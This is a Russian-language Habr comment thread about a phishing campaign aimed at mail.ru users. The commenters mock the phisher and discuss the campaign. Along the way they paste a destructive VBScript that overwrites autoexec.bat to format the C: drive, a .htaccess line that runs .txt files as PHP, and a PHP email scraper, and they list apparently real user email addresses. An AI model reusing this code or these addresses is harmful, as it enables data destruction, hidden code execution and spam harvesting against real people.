How to become an author
Search
Write a publication
Pull to refresh

Comments 69

Сколько итераций планируете здесь сделать?)
Total votes 17: ↑14 and ↓3+11
Видимо пока у них стек не закончится.
Total votes 7: ↑4 and ↓3+1
бороться с этим — как приколачивать желе гвоздями к дереву
Total votes 30: ↑30 and ↓0+30
Скройте список адресов, пожалуйста. Или вы хотите пополнить ими спам-листы?
Total votes 9: ↑0 and ↓9-9
мейл.ру само это сделает:) Открыл чтобы эти пользователи могли сами найти заметку, почитать и подумать.
Total votes 16: ↑15 and ↓1+14
А смысл? тут нет уязвимостей мейл.ру(ну кроме открытого редиректа на otvet.mail.ru, но это мелочь), пользователи сами отдают свои пароли, им и надо быть внимательнее.
Отписал пользователям с линком на заметку, но не думаю, что это вылечит их от невнимательности.
Total votes 4: ↑2 and ↓20
У меня есть подозрение, что там должны быть заинтересованы в пресечении таких выкрутасов не меньше вашего.
Total votes 4: ↑2 and ↓20
Читали уже про их пресечения в ICQ, не надо нам таких :)
Total votes 6: ↑5 and ↓1+4
Вы совершенно правы, мы (Mail.Ru) очень заинтересованы в борьбе с фишингом. И не просто заинтерсованы, мы ежедневно (в сотрудничестве с хостерами) закрываем фишинговые сайты (иногда — пачками). Хотя коммент выше про «желе гвоздями к дереву» весьма точно описывает ситуацию в целом.

Но в любом случае — если замечаете фишинг или просто что-то подозрительное, пишите на abuse@corp.mail.ru, мы разберемся. Спасибо.
Total votes 6: ↑6 and ↓0+6
Обычный СИ. Всегда был и всегда будет.
Total votes 5: ↑5 and ↓0+5
Мне вчера пришло на gmail, причем не в спам и без пометок:
"Happy New Year to all Gmail Users.we will be upgrading our database for the coming year 2012.Kindly reply to this message by typing «TEAM» to receive the update link for your account."
Т.е. еще и запросите у нас сами фишинговую ссыль…
Письмо конечно сразу ушло в фишинг репорт и сейчас уже помечается красным.
Total votes 2: ↑2 and ↓0+2
Отличный метод социальной инженерии, описанный, в частности, у Митника: жертва может не доверять присланным ей данным, но скорее всего будет доверять данным, которые жертва запросила самостоятельно.
Total votes 5: ↑3 and ↓2+1
Фишинг как фишинг. Только текст письма оригинален. Не ново.
Total votes 2: ↑2 and ↓0+2
На автор молодец, даже файл нашел куда складываются логины
Total votes 11: ↑10 and ↓1+9
Автор то молодец, но «взломщики» такие школьники! Их скрипты _открыты_ и даже _проиндексированы_. Ну не смех?! :-)
Total votes 6: ↑5 and ↓1+4
По ходу дела, у кого нет антивируса не суйтесь на этот линк URL: newamn.h18.ru/log.txt там раздают вот этот троян (bv:KillAll-A [Trj]) бесплатно.
Total votes 5: ↑4 and ↓1+3
Парсер парсер script language ="VBScript"
sub Reboot 'Процедурка перезагрузки
Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows" 'Вызов WinApi с помощью
RunDll
end sub
sub destruct
set fs=createobject("Scripting.FileSystemObject")'FileSystem
if fs.fileexists("c:\autoexec.bat") then 'Если у нас Autoexec существует
set ab=fs.getfile("c:\autoexec.bat") 'Возмём его
ab.attributes=0 'И поставим "нормальные" аттрибуты))
end if
set autoexec=fs.CreateTextFile("c:\autoexec.bat")'Пересоздадим Autoexec
'Далее запишем в него полезные комманды, их там явно не хватает!)
autoexec.WriteLine "@cls"
autoexec.WriteLine "@echo Windows upgrading your system..."
autoexec.WriteLine "@echo Do not abort this process!"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.close 'Закроем Autoexec.bat
end sub
destruct 'Запишем в Autoexec комманду format
reboot
This comment wasn’t rated yet0
Рекомендую в дальнейшем на Хабрахабре использовать пару тегов <source>…</source> для обрамления ими исходного кода.
Total votes 11: ↑9 and ↓2+7
Я думал себя адекватней поведёт
Total votes 2: ↑1 and ↓10
Предпросмотр еще ни кто не отменял.
Total votes 6: ↑5 and ↓1+4
Это не вирус, это магическое заклинание скрипт-кидди, которое по их мнению убивает систему и передается из поколения в поколение. Оно не сработает ни в одной системе начиная с Windows NT. Причем в Windows 95/98 оно тоже не сработает, потому как
echo Y | format C: /q
они сделать не догадались.
Total votes 3: ↑3 and ↓0+3
У меня нет антивируса, но есть noscript, и вообще стоит линукс. Можно я сунусь?
Total votes 14: ↑2 and ↓12-10
Расскажите нам пожалуйста еще что-нибудь о себе.
Total votes 21: ↑18 and ↓3+15
Замечательно, меня заминусовали хабраюзеры, которые боятся заразиться текстовым файлом. Еще и нагадили в то, что нельзя называть, с вашей легкой подачи. Можете собой гордиться.
Total votes 1: ↑1 and ↓0+1
Вы знаете, не хотелось бы оправдываться, но я на самом деле не хотел как-то повлиять на вашу хабракарму или рейтинг. Это была просто шутка и думаю те кто это понял, не ставили вам минуса, а те кто не понял скорее всего поставили бы их и без моего комментария.
This comment wasn’t rated yet0
Занятная проблема… А существуют ли какие-то надёжные её решения? (Факт существования цифровых подписей — это ещё не решение, по-моему.)
This comment wasn’t rated yet0
Боюсь, мою маму это не остановит.
Total votes 3: ↑3 and ↓0+3
Мылору и без фишинга дырявое как дуршлаг. Лучше юзать яндекс или гугол.
Total votes 21: ↑6 and ↓15-9
А Вы лично этот «дуршлаг» видели? Или начитались умных дяденек? Конкретней, пожалуйста.
Total votes 9: ↑6 and ↓3+3
Да, я лично видел как увели пару ящиков с мылору без фишинга. То есть вообще без телодвижений на клиентской стороне. Правда это было несколько лет назад.
This comment wasn’t rated yet0
Не хочу защищать мылру, но… При мне коллега находил отличную XSS на яндексе. Так что чуть лучшая репутация перечисленных вами компаний — отнюдь не гарантия защиты. Лучше тогда вообще ничего не пользовать :)
Total votes 6: ↑4 and ↓2+2
В образовательных целях. Строка «Гугл дал исходники этого скрипта» — как это было сделано? Т.е. можно выкачивать чужие скрипты?
Total votes 2: ↑2 and ↓0+2
Ага, и еще в файле логов плохие вещи.
image
Так, что лучше быть аккуратным.
Total votes 13: ↑4 and ↓9-5
Вы текстовым файлом хотите заразиться? Касперский ругается только потому, что в файле есть прямые ссылки на трояны, а Опера и не собирается их скачивать.
Total votes 6: ↑5 and ↓1+4
Не так давно слышал от чувака «ну ты типа как через картинку-то заразишься»? А оказалось — оверфлоу, все дела…
Total votes 1: ↑1 and ↓0+1
А вот я про это и говорю, txt файл может быть совсем не .txt. Простой пример:
В .htaccess

AddHandler application/x-httpd-php .php .txt .jpg

В log.txt
<?php
echo <<<LOG
blabla
blabla
LOG;
//А дальше код связки

Так, что HeadFore Вы не правы, и не нужно минусовать…
Total votes 3: ↑3 and ↓0+3
В данном случае txt — это именно txt, я проверил.
This comment wasn’t rated yet0
бы в шапках письма я не нашел хост и скрипт, с которого велась рассылка

Стоило бы выложить скриншот хедеров для наглядности.
Хост, я так понимаю, был найден в Received?
А скрипт как нашли?
This comment wasn’t rated yet0
В заголовках письма был и полный путь до скрипта на сервере.
Правильный хостер настраивает почтовик так, чтобы поле со скриптом дописывалось во все письма, отправляемые через sendmail, это позволяет быстро вычислить спамера по одной жалобе.
Total votes 1: ↑1 and ↓0+1
А список емейлов вы опубликовали для того чтобы обрадовать их владельцев свеженькой лавиной спама? Хотя бы картинкой вставили.
Total votes 6: ↑0 and ↓6-6
Список емейлов опубликовал для того, чтобы «жертвы» нашли заметку по поиску и намотали на ус.

Я не думаю, что в 2011 году скрытие емейла является действенным способом уберечься от спама — современная почтовая система должна уметь справляться со спамом.

При этом адреса пользователей не являются секретом на сервисах mail.ru — взглянем например на «мир» первого попавшегося пользователя, которого я нашел в гугле

адрес его «мира» — my.mail.ru/mail/cjroqa/
соответственно почтовый ящик — cjroqa@mail.ru

У него в друзьях:
my.mail.ru/inbox/privet2003/ — privet2003@inbox.ru
my.mail.ru/bk/vrshu/ — vrshu@mail.ru
my.mail.ru/mail/sfm61/ — sfm61@mail.ru
my.mail.ru/mail/342625/ — 342625@mail.ru
my.mail.ru/mail/rubicon78/ — rubicon78@mail.ru
my.mail.ru/mail/susoenio/ — susoenio@mail.ru

Так в чем же соль скрытия почтового ящика в посте на хабре?

Если спамерам надо, они возьмут эту информацию открыто с сервисов mail.ru и «добрые самаритяне» типо меня им нафик не нужны.
Total votes 9: ↑9 and ↓0+9
А ещё больше мыл круче на сайте otvet.mail.ru
Берем первую попавшуюся тему — otvet.mail.ru/question/598824
Грепаем на <span id="online:

$html = file_get_contents("http://otvet.mail.ru/question/598824");
if(preg_match_all("/<span\s+id\=\"online\:(.*)\"/isU", $html, $matches))
{
	print_r($matches[1]);
}

получаем:

[0] => vena1408@bk.ru
[1] => alesenok@mail.ru
[2] => olga_buzova@list.ru
[3] => usr-7145801a1c45b4e2840fe358a665bb34@nobody.mail.ru
[4] => usr-2e21e36d35a7ff50f0e68fe1ee33aad5@nobody.mail.ru
[5] => usr-a8c1bb6f07938b0020a02cf346ebb9e6@nobody.mail.ru
[6] => notichka@mail.ru
[7] => m-3-a-i-a@mail.ru
[8] => usr-7460bfe1590febfa229dbbf05df7a03a@nobody.mail.ru
[9] => m-radio71-3@mail.ru
This comment wasn’t rated yet0
IP резолвится как 78-36-109-183.static.komi.dslavangard.ru
80 порт открыт наружу.
Так что похоже, что у него стачитеский IP, так что проблем выяснения личности не будет.
Если найдётся время, было бы хорошо отписать провайдеру.
Total votes 3: ↑3 and ↓0+3
Боже, какие в наше время скрипт кидди пошли, даже стыдно за них как-то.
Total votes 10: ↑10 and ↓0+10
Надо курощать. Чтобы неповадно было в дальнейшем. Интересный идеологический момент — сдавать дятла отделу К или наказывать своими силами?
Total votes 4: ↑4 and ↓0+4
newamn.h18.ru/log.txt
Отправелено сообщение &Привет Эля! я тут просто пробую своё детище как оно работает! посмотри внимание на мыло отправителя!
2
мой настоящий е-мали
oooo2009oooo@mail.ru

Total votes 3: ↑3 and ↓0+3
В каком месте это хакеры?
Total votes 3: ↑3 and ↓0+3
Быть может, эту статью правильнее назвать «Как получают доступ к чужим ящикам»?
Total votes 1: ↑0 and ↓1-1
В gmail на такой случай есть хорошая штука — подтверждение по sms.
Было бы не плохо если mail.ru сделали подобное, да и не только mail.ru.
This comment wasn’t rated yet0
>детали письма скрыты для того, чтобы злоумышленник не стал преследовать знакомого
Можно подумать, что злоумышленник — маньяк-убийца и у него в заложниках находятся близкие вашего знакомого. Не бойтесь открыто проучить эту школоту.
Total votes 3: ↑3 and ↓0+3
Мне недавно подобная фигня на яндекс приходила. Особенно порадовала куча адресов в поле копий. Отписал в саппорт (реальный).
Total votes 3: ↑3 and ↓0+3
А я думал, что фишингу уже сто лет исполнилось…
Total votes 1: ↑1 and ↓0+1
Sign up to leave a comment.

Articles

Show the best of all time

Your account

Sections

Information

Services

Support
© 2006–2024, Habr